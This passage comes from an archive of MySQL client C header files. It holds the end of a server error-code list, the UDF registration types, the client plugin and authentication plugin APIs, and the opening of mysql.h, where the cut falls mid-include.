ER_IB_MSG_LOG_FILE_MARK_AS_UNUSED_FAILED 13905 #define ER_IB_MSG_LOG_PARAMS_DEDICATED_SERVER_IGNORED 13906 #define ER_IB_MSG_LOG_PARAMS_LEGACY_USAGE 13907 #define ER_GRP_RPL_FAILED_TO_LOG_VIEW_CHANGE 13908 #define ER_BINLOG_CRASH_RECOVERY_MALFORMED_LOG 13909 #define ER_BINLOG_CRASH_RECOVERY_ERROR_RETURNED_SE 13910 #define ER_BINLOG_CRASH_RECOVERY_ENGINE_RESULTS 13911 #define ER_BINLOG_CRASH_RECOVERY_COMMIT_FAILED 13912 #define ER_BINLOG_CRASH_RECOVERY_ROLLBACK_FAILED 13913 #define ER_BINLOG_CRASH_RECOVERY_PREPARE_FAILED 13914 #define ER_COMPONENT_EE_SYS_VAR_REGISTRATION_FAILURE 13915 #define ER_COMPONENT_EE_SYS_VAR_DEREGISTRATION_FAILURE 13916 #define ER_COMPONENT_EE_FUNCTION_REGISTRATION_FAILURE 13917 #define ER_COMPONENT_EE_FUNCTION_DEREGISTRATION_FAILURE 13918 #define ER_COMPONENT_EE_FUNCTION_INVALID_ARGUMENTS 13919 #define ER_COMPONENT_EE_FUNCTION_INVALID_ALGORITHM 13920 #define ER_COMPONENT_EE_FUNCTION_KEY_LENGTH_OUT_OF_RANGE 13921 #define ER_COMPONENT_EE_FUNCTION_PRIVATE_KEY_GENERATION_FAILURE 13922 #define ER_COMPONENT_EE_FUNCTION_PUBLIC_KEY_GENERATION_FAILURE 13923 #define ER_COMPONENT_EE_DATA_LENGTH_OUT_OF_RAGE 13924 #define ER_COMPONENT_EE_DATA_ENCRYPTION_ERROR 13925 #define ER_COMPONENT_EE_DATA_DECRYPTION_ERROR 13926 #define ER_COMPONENT_EE_DATA_SIGN_ERROR 13927 #define ER_COMPONENT_EE_OPENSSL_ERROR 13928 #define ER_COMPONENT_EE_INSUFFICIENT_LENGTH 13929 #define ER_SYSTEMD_NOTIFY_DEBUG 13930 #define ER_TMP_SESSION_FOR_VAR 13931 #define ER_BUILD_ID 13932 #define ER_THREAD_POOL_CANNOT_REGISTER_DYNAMIC_PRIVILEGE 13933 #define ER_IB_MSG_LOG_WRITER_WAIT_ON_CONSUMER 13934 #define ER_CONDITIONAL_DEBUG 13935 #define ER_IB_MSG_PARSE_OLD_REDO_INDEX_VERSION 13936 //#define OBSOLETE_ER_RES_GRP_FAILED_TO_SWITCH_RESOURCE_GROUP 13937 //#define OBSOLETE_ER_RES_GRP_SWITCH_FAILED_COULD_NOT_ACQUIRE_GLOBAL_LOCK 13938 //#define OBSOLETE_ER_RES_GRP_SWITCH_FAILED_COULD_NOT_ACQUIRE_LOCK 13939 //#define OBSOLETE_ER_RES_GRP_SWITCH_FAILED_UNABLE_TO_APPLY_RES_GRP 13940 #define ER_IB_MSG_CLEAR_INSTANT_DROP_COLUMN_METADATA 13941 #define ER_COMPONENT_KEYRING_OCI_OPEN_KEY_FILE 13942 #define ER_COMPONENT_KEYRING_OCI_CREATE_PRIVATE_KEY 13943 #define ER_COMPONENT_KEYRING_OCI_READ_KEY_FILE 13944 #define ER_NOTE_COMPONENT_KEYRING_OCI_MISSING_NAME_OR_TYPE 13945 #define ER_WARN_COMPONENT_KEYRING_OCI_DUPLICATE_KEY 13946 #define ER_KEYRING_OCI_PARSE_JSON 13947 #define ER_KEYRING_OCI_INVALID_JSON 13948 #define ER_KEYRING_OCI_HTTP_REQUEST 13949 #define ER_THREAD_POOL_SYSVAR_CHANGE 13950 #define ER_STACK_BACKTRACE 13951 #define ER_IB_MSG_BUF_POOL_RESIZE_COMPLETE_CUR_CODE 13952 #define ER_IB_MSG_BUF_POOL_RESIZE_PROGRESS_UPDATE 13953 #define ER_IB_MSG_BUF_POOL_RESIZE_CODE_STATUS 13954 #define ER_THREAD_POOL_QUERY_THREADS_PER_GROUP_INVALID 13955 #define ER_THREAD_POOL_QUERY_THRS_PER_GRP_EXCEEDS_TXN_THR_LIMIT 13956 #define ER_IB_MSG_INVALID_PAGE_TYPE 13957 #define ER_IB_PARALLEL_READER_WORKER_INFO 13958 #define ER_IB_BULK_LOAD_SUBTREE_INFO 13959 #define ER_IB_BULK_FLUSHER_INFO 13960 #define ER_IB_BUFFER_POOL_OVERUSE 13961 #define ER_IB_BUFFER_POOL_FULL 13962 #define ER_IB_DUPLICATE_KEY 13963 #define ER_REPLICATION_INCOMPATIBLE_TABLE_WITH_GIPK 13964 #define ER_BULK_EXECUTOR_INFO 13965 #define ER_BULK_LOADER_INFO 13966 #define ER_BULK_LOADER_FILE_CONTAINS_LESS_LINES_THAN_IGNORE_CLAUSE_LOG 13967 #define ER_BULK_READER_INFO 13968 #define ER_BULK_READER_LIBCURL_INIT_FAILED_LOG 13969 #define ER_BULK_READER_LIBCURL_ERROR_LOG 13970 #define ER_BULK_READER_SERVER_ERROR_LOG 13971 #define ER_BULK_READER_COMMUNICATION_ERROR_LOG 13972 #define ER_BULK_PARSER_MISSING_ENCLOSED_BY_LOG 13973 #define ER_BULK_PARSER_ROW_BUFFER_MAX_TOTAL_COLS_EXCEEDED_LOG 13974 #define ER_BULK_PARSER_COPY_BUFFER_SIZE_EXCEEDED_LOG 13975 #define ER_BULK_PARSER_UNEXPECTED_END_OF_INPUT_LOG 13976 #define ER_BULK_PARSER_UNEXPECTED_ROW_TERMINATOR_LOG 13977 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_ENDING_ENCLOSED_BY_LOG 13978 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_NULL_ESCAPE_LOG 13979 #define ER_BULK_PARSER_UNEXPECTED_CHAR_AFTER_COLUMN_TERMINATOR_LOG 13980 #define ER_BULK_PARSER_INCOMPLETE_ESCAPE_SEQUENCE_LOG 13981 #define ER_LOAD_BULK_DATA_WRONG_VALUE_FOR_FIELD_LOG 13982 #define ER_LOAD_BULK_DATA_WARN_NULL_TO_NOTNULL_LOG 13983 #define ER_IB_BULK_LOAD_THREAD_FAIL 13984 #define ER_IB_BULK_LOAD_MERGE_FAIL 13985 #define ER_IB_LOAD_BULK_CONCURRENCY_REDUCED 13986 #define ER_PLUGIN_EXCEPTION_OPERATION_FAILED 13987 #define ER_REQUIRE_TABLE_PRIMARY_KEY_CHECK_GENERATE_WITH_GR_IN_REPO 13988 #define ER_CHECK_TABLE_INSTANT_VERSION_BIT_SET 13989 #define ER_GRP_RPL_PAXOS_SINGLE_LEADER_DIFF_FROM_OLD_GRP 13990 #define ER_IB_WRN_IGNORE_REDO_LOG_CAPACITY 13991 #define ER_IB_PRIMARY_KEY_IS_INSTANT 13992 #define ER_THREAD_POOL_IDLE_CONNECTION_CLOSED 13993 #define ER_IB_HIDDEN_NAME_CONFLICT 13994 #define ER_IB_DICT_INVALID_COLUMN_POSITION 13995 #define ER_IB_DICT_LOG_TABLE_INFO 13996 #define ER_RPL_ASYNC_NEXT_FAILOVER_CHANNEL_SELECTED 13997 #define ER_RPL_REPLICA_SOURCE_UUID_HAS_NOT_CHANGED 13998 #define ER_RPL_REPLICA_SOURCE_UUID_HAS_CHANGED_HOST_PORT_UNCHANGED 13999 #define ER_RPL_REPLICA_SOURCE_UUID_HOST_PORT_HAS_CHANGED 14000 #define ER_RPL_REPLICA_CONNECTED_TO_SOURCE_RPL_STARTED_FILE_BASED 14001 #define ER_RPL_REPLICA_CONNECTED_TO_SOURCE_RPL_STARTED_GTID_BASED 14002 #define ER_IB_INDEX_LOADER_DONE 14003 #define ER_IB_INDEX_BUILDER_DONE 14004 #define ER_WARN_DEPRECATED_USER_DEFINED_COLLATIONS_OPTION 14005 #define ER_IB_INDEX_BUILDER_INIT 14006 #define ER_IB_SELECT_COUNT_STAR 14007 #define ER_IB_INDEX_LOG_VERSION_MISMATCH 14008 #define ER_WARN_COMPONENTS_INFRASTRUCTURE_MANIFEST_MULTIPLE_KEYRING 14009 #define ER_GRP_RPL_HAS_STARTED 14010 #define ER_CHECK_TABLE_MIN_REC_FLAG_SET 14011 #define ER_CHECK_TABLE_MIN_REC_FLAG_NOT_SET 14012 #define ER_NOTE_COMPONENT_SLOT_REGISTRATION_SUCCESS 14013 #define ER_NOTE_COMPONENT_SLOT_DEREGISTRATION_SUCCESS 14014 #define ER_WARN_CANNOT_FREE_COMPONENT_DATA_DEALLOCATION_FAILED 14015 #define ER_IB_RESURRECT_TRX_INSERT 14016 #define ER_IB_RESURRECT_TRX_UPDATE 14017 #define ER_IB_RESURRECT_IDENTIFY_TABLE_TO_LOCK 14018 #define ER_IB_RESURRECT_ACQUIRE_TABLE_LOCK 14019 #define ER_IB_RESURRECT_RECORD_PROGRESS 14020 #define ER_IB_RESURRECT_RECORD_COMPLETE 14021 #define ER_IB_RESURRECT_TRX_INSERT_COMPLETE 14022 #define ER_IB_RESURRECT_TRX_UPDATE_COMPLETE 14023 #define ER_AUTHENTICATION_OCI_INVALID_TOKEN 14024 #define ER_AUTHENTICATION_OCI_TOKEN_DETAILS_MISMATCH 14025 #define ER_AUTHENTICATION_OCI_TOKEN_NOT_VERIFIED 14026 #define ER_AUTHENTICATION_OCI_DOWNLOAD_IDDP_PUBLIC_KEY 14027 //#define OBSOLETE_ER_AUTHENTICATION_OCI_NO_MATCHING_GROUPS_IN_TOKEN 14028 #define ER_SYS_VAR_REGISTRATION 14029 #define ER_SYS_VAR_DEREGISTRATION 14030 #define ER_UDF_REGISTRATION 14031 #define ER_UDF_DEREGISTRATION 14032 #define ER_PRIVILEGE_REGISTRATION 14033 #define ER_PRIVILEGE_DEREGISTRATION 14034 #define ER_UDF_EXEC_FAILURE 14035 #define ER_UDF_EXEC_FAILURE_REASON 14036 #define ER_COMPONENT_SERVICE_CALL 14037 #define ER_COMPONENT_SERVICE_CALL_RESULT 14038 #define ER_COMPONENT_LOCK 14039 #define ER_COMPONENT_UNLOCK 14040 #define ER_COMPONENT_MASKING_OTHER_ERROR 14041 #define ER_COMPONENT_MASKING_ABI 14042 #define ER_COMPONENT_MASKING_ABI_REASON 14043 #define ER_COMPONENT_MASKING_RANDOM_CREATE 14044 #define ER_COMPONENT_MASKING_RANDOM_CREATE_REASON 14045 #define ER_COMPONENT_MASKING_CANNOT_ACCESS_TABLE 14046 #define ER_REDUCED_DBLWR_FILE_CORRUPTED 14047 #define ER_REDUCED_DBLWR_PAGE_FOUND 14048 #define ER_CONN_INIT_CONNECT_IGNORED_MFA 14049 #define ER_SECONDARY_ENGINE_DDL_FAILED 14050 #define ER_THREAD_POOL_CONNECTION_REPORT 14051 #define ER_WARN_SCHEDULED_TASK_RUN_FAILED 14052 #define ER_AUDIT_LOG_INVALID_FLUSH_INTERVAL_VALUE 14053 #define ER_LOG_CANNOT_PURGE_BINLOG_WITH_BACKUP_LOCK 14054 #define ER_CONVERT_MULTI_VALUE 14055 #define ER_IB_DDL_CONVERT_HEAP_NOT_FOUND 14056 #define ER_SERVER_DOWNGRADE_FROM_VERSION 14057 #define ER_BEYOND_SERVER_DOWNGRADE_THRESHOLD 14058 #define ER_BEYOND_SERVER_UPGRADE_THRESHOLD 14059 #define ER_INVALID_SERVER_UPGRADE_NOT_LTS 14060 #define ER_INVALID_SERVER_DOWNGRADE_NOT_PATCH 14061 #define ER_FAILED_GET_DD_PROPERTY 14062 #define ER_FAILED_SET_DD_PROPERTY 14063 #define ER_SERVER_DOWNGRADE_STATUS 14064 #define ER_INFORMATION_SCHEMA_VERSION_CHANGE 14065 #define ER_PERFORMANCE_SCHEMA_VERSION_CHANGE 14066 #define ER_WARN_DEPRECATED_OR_BLOCKED_CIPHER 14067 #define ER_IB_MSG_DDL_FAIL_NO_BUILDER 14068 #define ER_GRP_RPL_MEMBER_INFO_DOES_NOT_EXIST 14069 #define ER_USAGE_DEPRECATION_COUNTER 14070 #define ER_WAITING_FOR_NO_CONNECTIONS 14071 #define ER_WAITING_FOR_NO_THDS 14072 #define ER_IB_INDEX_PART_TOO_LONG 14073 #define ER_DD_UPDATE_DATADIR_FLAG_FAIL 14074 #define ER_IB_MSG_FIL_STATE_MOVED_PREV 14075 #define ER_RPL_KILL_OLD_DUMP_THREAD_ENCOUNTERED 14076 #define ER_RPL_MTA_ALLOW_COMMIT_OUT_OF_ORDER 14077 #define ER_CHECK_TABLE_FUNCTIONS 14078 #define ER_CHECK_TABLE_FUNCTIONS_DETAIL 14079 #define ER_GRP_RPL_CERT_BROADCAST_THREAD_CREATE_FAILED 14080 #define ER_GRP_RPL_CERT_BROADCAST_THREAD_STARTED 14081 #define ER_GRP_RPL_CERT_BROADCAST_THREAD_STOPPED 14082 #define ER_GRP_RPL_APPLIER_THD_KILLED_BY_SQL_KILL 14083 #define ER_IB_MSG_WAITING_ON_LAGGING_REDO_LOG_CONSUMER 14084 #define ER_IB_MSG_ABORTING_LOG_ARCHIVER 14085 #define ER_IB_INSTANT_ADD_DROP_COLUMN_NOT_ALLOWED 14086 #define ER_IB_INSTANT_ADD_NOT_POSSIBLE 14087 #define ER_IB_WRN_REDO_DISABLED_INFO 14088 #define ER_IB_MSG_LOG_WRITER_WAIT_ON_NEW_LOG_FILE_INFO 14089 static const int obsolete_error_count = 559; static const int pfs_no_error_stat_count = 2; static const int pfs_session_error_stat_count = 1640; static const int pfs_global_error_stat_count = 3684; #endif mysql/mysql/udf_registration_types.h 0000644 00000007443 15246445046 0014045 0 ustar 00 /* Copyright (c) 2017, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef UDF_REGISTRATION_TYPES_H #define UDF_REGISTRATION_TYPES_H #ifndef MYSQL_ABI_CHECK #include <stdbool.h> #endif /** Type of the user defined function return slot and arguments */ enum Item_result { INVALID_RESULT = -1, /** not valid for UDFs */ STRING_RESULT = 0, /** char * */ REAL_RESULT, /** double */ INT_RESULT, /** long long */ ROW_RESULT, /** not valid for UDFs */ DECIMAL_RESULT /** char *, to be converted to/from a decimal */ }; typedef struct UDF_ARGS { unsigned int arg_count; /**< Number of arguments */ enum Item_result *arg_type; /**< Pointer to item_results */ char **args; /**< Pointer to argument */ unsigned long *lengths; /**< Length of string arguments */ char *maybe_null; /**< Set to 1 for all maybe_null args */ char **attributes; /**< Pointer to attribute name */ unsigned long *attribute_lengths; /**< Length of attribute arguments */ void *extension; } UDF_ARGS; /** Information about the result of a user defined function @todo add a notion for determinism of the UDF. @sa Item_udf_func::update_used_tables() */ typedef struct UDF_INIT { bool maybe_null; /** 1 if function can return NULL */ unsigned int decimals; /** for real functions */ unsigned long max_length; /** For string functions */ char *ptr; /** free pointer for function data */ bool const_item; /** 1 if function always returns the same value */ void *extension; } UDF_INIT; enum Item_udftype { UDFTYPE_FUNCTION = 1, UDFTYPE_AGGREGATE }; typedef void (*Udf_func_clear)(UDF_INIT *, unsigned char *, unsigned char *); typedef void (*Udf_func_add)(UDF_INIT *, UDF_ARGS *, unsigned char *, unsigned char *); typedef void (*Udf_func_deinit)(UDF_INIT *); typedef bool (*Udf_func_init)(UDF_INIT *, UDF_ARGS *, char *); typedef void (*Udf_func_any)(void); typedef double (*Udf_func_double)(UDF_INIT *, UDF_ARGS *, unsigned char *, unsigned char *); typedef long long (*Udf_func_longlong)(UDF_INIT *, UDF_ARGS *, unsigned char *, unsigned char *); typedef char *(*Udf_func_string)(UDF_INIT *, UDF_ARGS *, char *, unsigned long *, unsigned char *, unsigned char *); #endif /* UDF_REGISTRATION_TYPES_H */ mysql/mysql/client_plugin.h 0000644 00000020325 15246445046 0012077 0 ustar 00 #ifndef MYSQL_CLIENT_PLUGIN_INCLUDED /* Copyright (c) 2010, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file include/mysql/client_plugin.h MySQL Client Plugin API. This file defines the API for plugins that work on the client side */ #define MYSQL_CLIENT_PLUGIN_INCLUDED #ifndef MYSQL_ABI_CHECK #include <stdarg.h> #include <stdlib.h> #endif /* On Windows, exports from DLL need to be declared. Also, plugin needs to be declared as extern "C" because MSVC unlike other compilers, uses C++ mangling for variables not only for functions. */ #if defined(_MSC_VER) #if defined(MYSQL_DYNAMIC_CLIENT_PLUGIN) #ifdef __cplusplus #define MYSQL_CLIENT_PLUGIN_EXPORT extern "C" __declspec(dllexport) #else #define MYSQL_CLIENT_PLUGIN_EXPORT __declspec(dllexport) #endif #else /* MYSQL_DYNAMIC_CLIENT_PLUGIN */ #ifdef __cplusplus #define MYSQL_CLIENT_PLUGIN_EXPORT extern "C" #else #define MYSQL_CLIENT_PLUGIN_EXPORT #endif #endif /*MYSQL_DYNAMIC_CLIENT_PLUGIN */ #else /*_MSC_VER */ #if defined(MYSQL_DYNAMIC_CLIENT_PLUGIN) #define MYSQL_CLIENT_PLUGIN_EXPORT MY_ATTRIBUTE((visibility("default"))) #else #define MYSQL_CLIENT_PLUGIN_EXPORT #endif #endif #ifdef __cplusplus extern "C" { #endif /* known plugin types */ #define MYSQL_CLIENT_reserved1 0 #define MYSQL_CLIENT_reserved2 1 #define MYSQL_CLIENT_AUTHENTICATION_PLUGIN 2 #define MYSQL_CLIENT_TRACE_PLUGIN 3 #define MYSQL_CLIENT_AUTHENTICATION_PLUGIN_INTERFACE_VERSION 0x0200 #define MYSQL_CLIENT_TRACE_PLUGIN_INTERFACE_VERSION 0x0200 #define MYSQL_CLIENT_MAX_PLUGINS 4 #define MYSQL_CLIENT_PLUGIN_AUTHOR_ORACLE "Oracle Corporation" #define mysql_declare_client_plugin(X) \ MYSQL_CLIENT_PLUGIN_EXPORT st_mysql_client_plugin_##X \ _mysql_client_plugin_declaration_ = { \ MYSQL_CLIENT_##X##_PLUGIN, \ MYSQL_CLIENT_##X##_PLUGIN_INTERFACE_VERSION, #define mysql_end_client_plugin } /* generic plugin header structure */ #define MYSQL_CLIENT_PLUGIN_HEADER \ int type; \ unsigned int interface_version; \ const char *name; \ const char *author; \ const char *desc; \ unsigned int version[3]; \ const char *license; \ void *mysql_api; \ int (*init)(char *, size_t, int, va_list); \ int (*deinit)(void); \ int (*options)(const char *option, const void *); \ int (*get_options)(const char *option, void *); struct st_mysql_client_plugin { MYSQL_CLIENT_PLUGIN_HEADER }; struct MYSQL; /******** authentication plugin specific declarations *********/ #include "plugin_auth_common.h" struct auth_plugin_t { MYSQL_CLIENT_PLUGIN_HEADER int (*authenticate_user)(MYSQL_PLUGIN_VIO *vio, struct MYSQL *mysql); enum net_async_status (*authenticate_user_nonblocking)(MYSQL_PLUGIN_VIO *vio, struct MYSQL *mysql, int *result); }; // Needed for the mysql_declare_client_plugin() macro. Do not use elsewhere. typedef struct auth_plugin_t st_mysql_client_plugin_AUTHENTICATION; /******** using plugins ************/ /** loads a plugin and initializes it @param mysql MYSQL structure. @param name a name of the plugin to load @param type type of plugin that should be loaded, -1 to disable type check @param argc number of arguments to pass to the plugin initialization function @param ... arguments for the plugin initialization function @retval a pointer to the loaded plugin, or NULL in case of a failure */ struct st_mysql_client_plugin *mysql_load_plugin(struct MYSQL *mysql, const char *name, int type, int argc, ...); /** loads a plugin and initializes it, taking va_list as an argument This is the same as mysql_load_plugin, but take va_list instead of a list of arguments. @param mysql MYSQL structure. @param name a name of the plugin to load @param type type of plugin that should be loaded, -1 to disable type check @param argc number of arguments to pass to the plugin initialization function @param args arguments for the plugin initialization function @retval a pointer to the loaded plugin, or NULL in case of a failure */ struct st_mysql_client_plugin *mysql_load_plugin_v(struct MYSQL *mysql, const char *name, int type, int argc, va_list args); /** finds an already loaded plugin by name, or loads it, if necessary @param mysql MYSQL structure. @param name a name of the plugin to load @param type type of plugin that should be loaded @retval a pointer to the plugin, or NULL in case of a failure */ struct st_mysql_client_plugin *mysql_client_find_plugin(struct MYSQL *mysql, const char *name, int type); /** adds a plugin structure to the list of loaded plugins This is useful if an application has the necessary functionality (for example, a special load data handler) statically linked into the application binary. It can use this function to register the plugin directly, avoiding the need to factor it out into a shared object. @param mysql MYSQL structure. It is only used for error reporting @param plugin an st_mysql_client_plugin structure to register @retval a pointer to the plugin, or NULL in case of a failure */ struct st_mysql_client_plugin *mysql_client_register_plugin( struct MYSQL *mysql, struct st_mysql_client_plugin *plugin); /** set plugin options Can be used to set extra options and affect behavior for a plugin. This function may be called multiple times to set several options @param plugin an st_mysql_client_plugin structure @param option a string which specifies the option to set @param value value for the option. @retval 0 on success, 1 in case of failure **/ int mysql_plugin_options(struct st_mysql_client_plugin *plugin, const char *option, const void *value); /** get plugin options Can be used to get options from a plugin. This function may be called multiple times to get several options @param plugin an st_mysql_client_plugin structure @param option a string which specifies the option to get @param[out] value value for the option. @retval 0 on success, 1 in case of failure **/ int mysql_plugin_get_option(struct st_mysql_client_plugin *plugin, const char *option, void *value); #ifdef __cplusplus } #endif #endif mysql/mysql/plugin_auth_common.h 0000644 00000015405 15246445046 0013135 0 ustar 00 #ifndef MYSQL_PLUGIN_AUTH_COMMON_INCLUDED /* Copyright (c) 2010, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file include/mysql/plugin_auth_common.h This file defines constants and data structures that are the same for both client- and server-side authentication plugins. */ #define MYSQL_PLUGIN_AUTH_COMMON_INCLUDED /** the max allowed length for a user name */ #define MYSQL_USERNAME_LENGTH 96 /** return values of the plugin authenticate_user() method. */ /** Authentication failed, plugin internal error. An error occurred in the authentication plugin itself. These errors are reported in table performance_schema.host_cache, column COUNT_AUTH_PLUGIN_ERRORS. */ #define CR_AUTH_PLUGIN_ERROR 3 /** Authentication failed, client server handshake. An error occurred during the client server handshake. These errors are reported in table performance_schema.host_cache, column COUNT_HANDSHAKE_ERRORS. */ #define CR_AUTH_HANDSHAKE 2 /** Authentication failed, user credentials. For example, wrong passwords. These errors are reported in table performance_schema.host_cache, column COUNT_AUTHENTICATION_ERRORS. */ #define CR_AUTH_USER_CREDENTIALS 1 /** Authentication failed. Additionally, all other CR_xxx values (libmysql error code) can be used too. The client plugin may set the error code and the error message directly in the MYSQL structure and return CR_ERROR. If a CR_xxx specific error code was returned, an error message in the MYSQL structure will be overwritten. If CR_ERROR is returned without setting the error in MYSQL, CR_UNKNOWN_ERROR will be user. */ #define CR_ERROR 0 /** Authentication (client part) was successful. It does not mean that the authentication as a whole was successful, usually it only means that the client was able to send the user name and the password to the server. If CR_OK is returned, the libmysql reads the next packet expecting it to be one of OK, ERROR, or CHANGE_PLUGIN packets. */ #define CR_OK -1 /** Authentication was successful. It means that the client has done its part successfully and also that a plugin has read the last packet (one of OK, ERROR, CHANGE_PLUGIN). In this case, libmysql will not read a packet from the server, but it will use the data at mysql->net.read_pos. A plugin may return this value if the number of roundtrips in the authentication protocol is not known in advance, and the client plugin needs to read one packet more to determine if the authentication is finished or not. */ #define CR_OK_HANDSHAKE_COMPLETE -2 /** Authentication was successful with limited operations. It means that the both client and server side plugins decided to allow authentication with very limited operations ALTER USER to do registration. */ #define CR_OK_AUTH_IN_SANDBOX_MODE -3 /** Flag to be passed back to server from authentication plugins via authenticated_as when proxy mapping should be done by the server. */ #define PROXY_FLAG 0 /* We need HANDLE definition if on Windows. Define WIN32_LEAN_AND_MEAN (if not already done) to minimize amount of imported declarations. */ #if defined(_WIN32) && !defined(MYSQL_ABI_CHECK) #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include <windows.h> #endif struct MYSQL_PLUGIN_VIO_INFO { enum { MYSQL_VIO_INVALID, MYSQL_VIO_TCP, MYSQL_VIO_SOCKET, MYSQL_VIO_PIPE, MYSQL_VIO_MEMORY } protocol; int socket; /**< it's set, if the protocol is SOCKET or TCP */ #if defined(_WIN32) && !defined(MYSQL_ABI_CHECK) HANDLE handle; /**< it's set, if the protocol is PIPE or MEMORY */ #endif }; /* state of an asynchronous operation */ enum net_async_status { NET_ASYNC_COMPLETE = 0, NET_ASYNC_NOT_READY, NET_ASYNC_ERROR, NET_ASYNC_COMPLETE_NO_MORE_RESULTS }; /** Provides plugin access to communication channel */ typedef struct MYSQL_PLUGIN_VIO { /** Plugin provides a pointer reference and this function sets it to the contents of any incoming packet. Returns the packet length, or -1 if the plugin should terminate. */ int (*read_packet)(struct MYSQL_PLUGIN_VIO *vio, unsigned char **buf); /** Plugin provides a buffer with data and the length and this function sends it as a packet. Returns 0 on success, 1 on failure. */ int (*write_packet)(struct MYSQL_PLUGIN_VIO *vio, const unsigned char *packet, int packet_len); /** Fills in a MYSQL_PLUGIN_VIO_INFO structure, providing the information about the connection. */ void (*info)(struct MYSQL_PLUGIN_VIO *vio, struct MYSQL_PLUGIN_VIO_INFO *info); /** Non blocking version of read_packet. This function points buf to starting position of incoming packet. When this function returns NET_ASYNC_NOT_READY plugin should call this function again until all incoming packets are read. If return code is NET_ASYNC_COMPLETE, plugin can do further processing of read packets. */ enum net_async_status (*read_packet_nonblocking)(struct MYSQL_PLUGIN_VIO *vio, unsigned char **buf, int *result); /** Non blocking version of write_packet. Sends data available in pkt of length pkt_len to server in asynchronous way. */ enum net_async_status (*write_packet_nonblocking)( struct MYSQL_PLUGIN_VIO *vio, const unsigned char *pkt, int pkt_len, int *result); } MYSQL_PLUGIN_VIO; #endif mysql/mysql.h 0000644 00000101501 15246445046 0007237 0 ustar 00 /* Copyright (c) 2000, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file include/mysql.h This file defines the client API to MySQL and also the ABI of the dynamically linked libmysqlclient. The ABI should never be changed in a released product of MySQL, thus you need to take great care when changing the file. In case the file is changed so the ABI is broken, you must also update the SHARED_LIB_MAJOR_VERSION in cmake/mysql_version.cmake */ #ifndef _mysql_h #define _mysql_h #ifndef MYSQL_ABI_CHECK #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <sys/types.h> #endif // Legacy definition for the benefit of old code. Use uint64_t in new code. // If you get warnings from printf, use the PRIu64 macro, or, if you need // compatibility with older versions of the client library, cast // before printing. typedef uint64_t my_ulonglong; #ifndef my_socket_defined #define my_socket_defined #if defined(_WIN32) && !defined(MYSQL_ABI_CHECK) #include <windows.h> #ifdef WIN32_LEAN_AND_MEAN #include <winsock2.h> #endif #define my_socket SOCKET #else typedef int my_socket; #endif /* _WIN32 && ! MYSQL_ABI_CHECK */ #endif /* my_socket_defined */ // Small extra definition to avoid pulling in my_compiler.h in client code. // IWYU pragma: no_include "my_compiler.h" #ifndef MY_COMPILER_INCLUDED #if !defined(_WIN32) || defined(MYSQL_ABI_CHECK) #define STDCALL #else #define STDCALL __stdcall #endif #endif /* MY_COMPILER_INCLUDED */ #include "field_types.h" #include "my_list.h" #include "mysql_com.h" /* Include declarations of plug-in API */ #include 